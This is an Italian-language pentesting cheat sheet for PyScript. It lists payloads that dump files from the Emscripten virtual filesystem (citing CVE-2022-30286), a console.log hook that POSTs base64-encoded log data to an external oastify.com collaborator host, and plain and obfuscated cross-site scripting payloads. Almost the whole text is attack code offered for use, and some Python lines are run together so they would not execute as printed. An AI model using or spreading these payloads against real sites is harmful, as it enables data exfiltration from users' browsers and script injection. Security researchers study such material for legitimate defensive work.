Guida al Pentesting con PyScript

PyScript è un nuovo framework sviluppato per integrare Python in HTML, quindi può essere utilizzato insieme a HTML. In questo cheat sheet, troverai come utilizzare PyScript per i tuoi scopi di penetration testing.

Dumping / Recupero di file dal filesystem virtuale di Emscripten:

CVE ID: CVE-2022-30286

Codice:

<py-script>
with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out
= fin.read() print(out)
</py-script>

OOB Data Exfiltration del filesystem di memoria virtuale Emscripten (monitoraggio della console)

CVE ID: CVE-2022-30286

Codice:

<py-script>
x = "CyberGuy" if x == "CyberGuy": with
open('/lib/python3.10/asyncio/tasks.py') as output: contents = output.read()
print(contents) print('
<script>
console.pylog = console.log
console.logs = []
console.log = function () {
console.logs.push(Array.from(arguments))
console.pylog.apply(console, arguments)
fetch("http://9hrr8wowgvdxvlel2gtmqbspigo8cx.oastify.com/", {
method: "POST",
headers: { "Content-Type": "text/plain;charset=utf-8" },
body: JSON.stringify({ content: btoa(console.logs) }),
})
}
</script>
')
</py-script>

Cross Site Scripting (Ordinario)

Codice:

<py-script>
print("<img src=x onerror='alert(document.domain)'>")
</py-script>

Cross Site Scripting (Python offuscato)

Codice:

<py-script>
sur = "\u0027al";fur = "e";rt = "rt"
p = "\x22x$$\x22\x29\u0027\x3E"
s = "\x28";pic = "\x3Cim";pa = "g";so = "sr"
e = "c\u003d";q = "x"
y = "o";m = "ner";z = "ror\u003d"

print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p)
</py-script>
